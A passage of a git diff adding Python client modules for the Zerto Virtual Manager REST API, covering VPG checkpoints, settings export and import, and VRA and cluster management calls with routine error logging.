logging.info(f'VPGs.list_checkpoints(vpg_name={vpg_name}, start_date={start_date}, endd_date={endd_date}, checkpoint_date_str={checkpoint_date_str}, latest={latest})') + vpgid = (self.list_vpgs(vpg_name=vpg_name))['VpgIdentifier'] + vpgs_uri = f"https://{self.client.zvm_address}/v1/vpgs/{vpgid}/checkpoints" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = { + "startDate": start_date, + "endDate": endd_date + } + try: + response = requests.get(vpgs_uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + checkpoints = response.json() + + if not checkpoints: + logging.warning("No checkpoints found.") + return [] + + if checkpoint_date_str: + check_point_timestamp = self.__convert_datetime_to_timestamp(date_str = checkpoint_date_str) + matching_checkpoints = next((checkpoint for checkpoint in checkpoints if checkpoint.get("TimeStamp") == check_point_timestamp), None) + if not check_point_timestamp: + logging.warning(f"No checkpoint {checkpoint_date_str} found") + return {} + return matching_checkpoints + + if latest: + # Find the checkpoint with the most recent timestamp + latest_checkpoint = max(checkpoints, key=lambda x: x.get("TimeStamp")) + logging.debug(f"Latest checkpoint found: {latest_checkpoint}") + return latest_checkpoint + + return checkpoints + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_checkpoint(self, checkpoint_name: str, vpg_identifier: str = None, vpg_name: str = None) -> str: + """ + Create a tagged checkpoint for the VPG. + + Args: + checkpoint_name: The name/tag to assign to the checkpoint + vpg_identifier: The identifier of the VPG + vpg_name: The name of the VPG (alternative to vpg_identifier) + + Returns: + str: The task identifier that can be used to monitor the operation + + Raises: + requests.exceptions.RequestException: If the API request fails + ValueError: If neither vpg_identifier nor vpg_name is provided, or if VPG name is not found + """ + if not vpg_identifier and not vpg_name: + raise ValueError("Either vpg_identifier or vpg_name must be provided") + + # If vpg_name is provided, get the vpg_identifier + if vpg_name and not vpg_identifier: + vpg = self.list_vpgs(vpg_name=vpg_name) + if not vpg: + raise ValueError(f"VPG with name '{vpg_name}' not found") + vpg_identifier = vpg.get('VpgIdentifier') + logging.info(f"Found VPG identifier '{vpg_identifier}' for VPG name '{vpg_name}'") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/checkpoints" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + data = { + "CheckpointName": checkpoint_name + } + + logging.info(f"VPGs.create_checkpoint: Creating checkpoint '{checkpoint_name}' for VPG {vpg_identifier}") + + try: + response = requests.post( + url, + headers=headers, + json=data, + verify=self.client.verify_certificate, + timeout=30 + ) + response.raise_for_status() + task_id = response.json() + logging.info(f"Successfully initiated checkpoint creation, task_id={task_id}") + return task_id + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def export_vpg_settings(self, vpg_names: List[str]) -> dict: + """ + Export settings for specified VPGs. + + Args: + vpg_names: List of VPG names to export settings for + + Returns: + dict: The exported VPG settings in the format: + { + "timeStamp": "2025-02-08T21:50:46.574Z", + "exportResult": { + "result": str, + "message": str + } + } + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/exportSettings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = { + "vpgNames": vpg_names + } + + logging.info(f"VPGs.export_vpg_settings: Exporting settings for VPGs: {vpg_names}") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully exported settings for {len(vpg_names)} VPGs at {result.get('timeStamp')}") + logging.debug(f"Export result: {json.dumps(result, indent=2)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_exported_vpg_settings(self) -> List[Dict]: + """ + Get all available exported settings files. + + Returns: + List[Dict]: List of exported settings files in the format: + [ + { + "timeStamp": "2025-02-08T22:02:18.685Z" + } + ] + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/exportedSettings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.debug("Fetching list of exported VPG settings") + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Found {len(result)} exported settings files") + logging.debug(f"Exported settings list: {json.dumps(result, indent=2)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def read_exported_vpg_settings(self, timestamp: str, vpg_names: List[str] = None) -> dict: + """ + Read exported settings from a file of given timestamp. + + Args: + timestamp: The timestamp of the exported settings file (format: YYYY-MM-DDThh:mm:ss.SSSZ) + vpg_names: Optional list of VPG names to filter the exported settings + + Returns: + dict: The exported VPG settings containing: + - ExportedVpgSettingsApi: List[dict] - List of VPG settings + - ErrorMessage: str - Error message if any + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/exportedSettings/{timestamp}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = {} + if vpg_names: + payload['vpgNames'] = vpg_names + + logging.info(f"VPGs.read_exported_vpg_settings: Reading exported VPG settings for timestamp: {timestamp}") + if vpg_names: + logging.debug(f"Filtering for VPGs: {vpg_names}") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.debug(f"VPGs.read_exported_vpg_settings: result: {json.dumps(result, indent=4)}") + + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def import_vpg_settings(self, settings: Dict) -> dict: + """ + Import VPG settings. + + Args: + settings: Dictionary containing the VPG settings to import. Must include: + - ExportedVpgSettingsApi: List of VPG settings with detailed configuration + + Returns: + dict: The import result containing: + - validationFailedResults: List[dict] - VPGs that failed validation + - vpgName: str - Name of the VPG + - errorMessages: List[str] - List of validation error messages + - importFailedResults: List[dict] - VPGs that failed to import + - vpgName: str - Name of the VPG + - errorMessage: str - Import error message + - importTaskIdentifiers: List[dict] - Successfully initiated imports + - vpgName: str - Name of the VPG + - taskIdentifier: str - Task ID for tracking the import + + Raises: + requests.exceptions.RequestException: If the API request fails + ValueError: If settings dictionary is missing required fields + """ + url = f"https://{self.client.zvm_address}/v1/vpgSettings/import" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Validate input settings + if not isinstance(settings, dict): + raise ValueError("Settings must be a dictionary") + if 'ExportedVpgSettingsApi' not in settings: + raise ValueError("Settings must contain 'ExportedVpgSettingsApi' key") + + # Prepare payload + payload = { + "ExportedVpgSettingsApi": settings['ExportedVpgSettingsApi'] + } + + logging.info(f"VPGs.import_vpg_settings: Importing settings for {len(settings['ExportedVpgSettingsApi'])} VPGs") + + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.debug(f"VPGs.import_vpg_settings: result: {json.dumps(result, indent=4)}") + + # Log validation failures + if result.get('validationFailedResults'): + for failure in result['validationFailedResults']: + logging.error(f"Validation failed for VPG '{failure['vpgName']}': {', '.join(failure['errorMessages'])}") + + # Log import failures + if result.get('importFailedResults'): + for failure in result['importFailedResults']: + logging.error(f"Import failed for VPG '{failure['vpgName']}': {failure['errorMessage']}") + + # Log successful imports + if result.get('importTaskIdentifiers'): + for task in result['importTaskIdentifiers']: + logging.info(f"Import initiated for VPG '{task['vpgName']}' with task ID: {task['taskIdentifier']}") + + logging.debug(f"Import result: {json.dumps(result, indent=2)}") + + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + \ No newline at end of file diff --git a/zvml/vras.py b/zvml/vras.py new file mode 100644 index 0000000..9d959a9 --- /dev/null +++ b/zvml/vras.py @@ -0,0 +1,668 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json +from typing import Dict, List, Optional + +class VRA: + def __init__(self, client): + self.client = client + + def list_vras(self) -> List[Dict]: + """List all VRAs.""" + logging.info(f"VRA.list_vras(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved {len(result)} VRAs") + logging.debug(f"VRA.list_vras result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vra(self, payload: Dict, sync: bool = True) -> Dict: + """Create a new VRA. + + Args: + payload: The VRA configuration + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The creation result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.create_vra(zvm_address={self.client.zvm_address}, sync={sync})") + logging.debug(f"VRA.create_vra payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info("Successfully initiated VRA creation") + logging.debug(f"VRA.create_vra task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_vra(self, vra_identifier: str) -> Dict: + """ + Get information about a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to retrieve + + Returns: + Dict: The VRA information + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.get_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved VRA information for identifier: {vra_identifier}") + logging.debug(f"VRA.get_vra result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def delete_vra(self, vra_identifier: str, sync: bool = True) -> Dict: + """ + Delete a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to delete + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The deletion result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.delete_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info(f"Successfully initiated deletion of VRA with identifier: {vra_identifier}") + logging.debug(f"VRA.delete_vra task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def update_vra(self, vra_identifier: str, payload: Dict, sync: bool = True) -> Dict: + """ + Update a specific VRA's configuration. + + Args: + vra_identifier: The identifier of the VRA to update + payload: The update configuration + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The update result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.update_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + logging.debug(f"VRA.update_vra payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.put(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info(f"Successfully initiated update for VRA with identifier: {vra_identifier}") + logging.debug(f"VRA.update_vra task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vra_cluster(self, payload: Dict, sync: bool = True) -> Dict: + """ + Create a new VRA cluster. + + Args: + payload: The cluster configuration + sync: If True, wait for task completion (default: True) + + Returns: + Dict: The creation result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.create_vra_cluster(zvm_address={self.client.zvm_address})") + logging.debug(f"VRA.create_vra_cluster payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/clusters" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info("Successfully initiated VRA cluster creation") + logging.debug(f"VRA.create_vra_cluster task_id: {task_id}") + + if sync: + # Wait for task completion + self.client.tasks.wait_for_task_completion(task_id, timeout=300, interval=5) + return task_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def delete_vra_cluster(self, cluster_identifier: str) -> Dict: + """ + Delete a VRA cluster. + + Args: + cluster_identifier: The identifier of the cluster to delete + + Returns: + Dict: The deletion result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.delete_vra_cluster(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully deleted VRA cluster with identifier: {cluster_identifier}") + logging.debug(f"VRA.delete_vra_cluster result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def update_vra_cluster(self, cluster_identifier: str, payload: Dict) -> Dict: + """ + Update a VRA cluster configuration. + + Args: + cluster_identifier: The identifier of the cluster to update + payload: The update configuration + + Returns: + Dict: The update result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.update_vra_cluster(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + logging.debug(f"VRA.update_vra_cluster payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.put(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully updated VRA cluster with identifier: {cluster_identifier}") + logging.debug(f"VRA.update_vra_cluster result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def cleanup_vras(self) -> Dict: + """ + Clean up VRAs. + + Returns: + Dict: The cleanup result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.cleanup_vras(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras/cleanup" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info("Successfully cleaned up VRAs") + logging.debug(f"VRA.cleanup_vras result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def upgrade_vra(self, vra_identifier: str) -> Dict: + """ + Upgrade a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to upgrade + + Returns: + Dict: The upgrade result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.upgrade_vra(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/upgrade" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully initiated upgrade for VRA with identifier: {vra_identifier}") + logging.debug(f"VRA.upgrade_vra result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_vra_cluster_settings(self, cluster_identifier: str) -> Dict: + """ + Get settings for a specific VRA cluster. + + Args: + cluster_identifier: The identifier of the cluster to get settings for + + Returns: + Dict: The cluster settings + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.get_vra_cluster_settings(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}/settings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved VRA cluster settings for identifier: {cluster_identifier}") + logging.debug(f"VRA.get_vra_cluster_settings result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vra_cluster_settings(self, cluster_identifier: str, payload: Dict) -> Dict: + """ + Create settings for a VRA cluster. + + Args: + cluster_identifier: The identifier of the cluster to create settings for + payload: The cluster settings configuration + + Returns: + Dict: The creation result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.create_vra_cluster_settings(zvm_address={self.client.zvm_address}, cluster_identifier={cluster_identifier})") + logging.debug(f"VRA.create_vra_cluster_settings payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/clusters/{cluster_identifier}/settings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully created VRA cluster settings for identifier: {cluster_identifier}") + logging.debug(f"VRA.create_vra_cluster_settings result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_vra_statuses(self) -> List[Dict]: + """ + List all VRA statuses. + + Returns: + List[Dict]: List of VRA statuses + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.list_vra_statuses(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras/statuses" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved VRA statuses") + logging.debug(f"VRA.list_vra_statuses result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_ip_configuration_types(self) -> List[Dict]: + """ + List all IP configuration types. + + Returns: + List[Dict]: List of IP configuration types + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.list_ip_configuration_types(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/vras/ipconfigurationtypes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info("Successfully retrieved IP configuration types") + logging.debug(f"VRA.list_ip_configuration_types result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_potential_recovery_vras(self, vra_identifier: str) -> List[Dict]: + """ + List potential recovery VRAs for a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to get potential recovery VRAs for + + Returns: + List[Dict]: List of potential recovery VRAs + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.list_potential_recovery_vras(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/potentials" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved potential recovery VRAs for identifier: {vra_identifier}") + logging.debug(f"VRA.list_potential_recovery_vras result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def execute_recovery_vra_change(self, vra_identifier: str, payload: Dict) -> Dict: + """ + Execute a recovery VRA change for a specific VRA. + + Args: + vra_identifier: The identifier of the VRA to change recovery VRA for + payload: The change configuration + + Returns: + Dict: The execution result + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"VRA.execute_recovery_vra_change(zvm_address={self.client.zvm_address}, vra_identifier={vra_identifier})") + logging.debug(f"VRA.execute_recovery_vra_change payload: {json.dumps(payload, indent=4)}") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/execute" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully executed recovery VRA change for identifier: {vra_identifier}") + logging.debug(f"VRA.execute_recovery_vra_change result: {json.dumps(result, indent=4)}") + return result + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def validate_recovery_vra_change(self, vra_identifier, payload): + logging.info(f"VRA.validate_recovery_vra_change: Validating recovery VRA change for identifier: {vra_identifier}...") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/validate" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"VRA.validate_recovery_vra_change: Successfully validated recovery VRA change for identifier: {vra_identifier}.") + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"VRA.validate_recovery_vra_change: Failed to validate recovery VRA change for identifier {vra_identifier}: {e}") + raise + + def recommend_recovery_vra_change(self, vra_identifier, payload): + logging.info(f"VRA.recommend_recovery_vra_change: Recommending recovery VRA change for identifier: {vra_identifier}...") + url = f"https://{self.client.zvm_address}/v1/vras/{vra_identifier}/changerecoveryvra/recommendation" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"VRA.recommend_recovery_vra_change: Successfully recommended recovery VRA change for identifier: {vra_identifier}.") + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"VRA.recommend_recovery_vra_change: Failed to recommend recovery VRA change for identifier {vra_identifier}: {e}") + raise \ No newline at end of file diff --git a/zvml/zorgs.py b/zvml/zorgs.py new file mode 100644 index 0000000..da08ad1 --- /dev/null +++ b/zvml/zorgs.py @@ -0,0 +1,59 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains 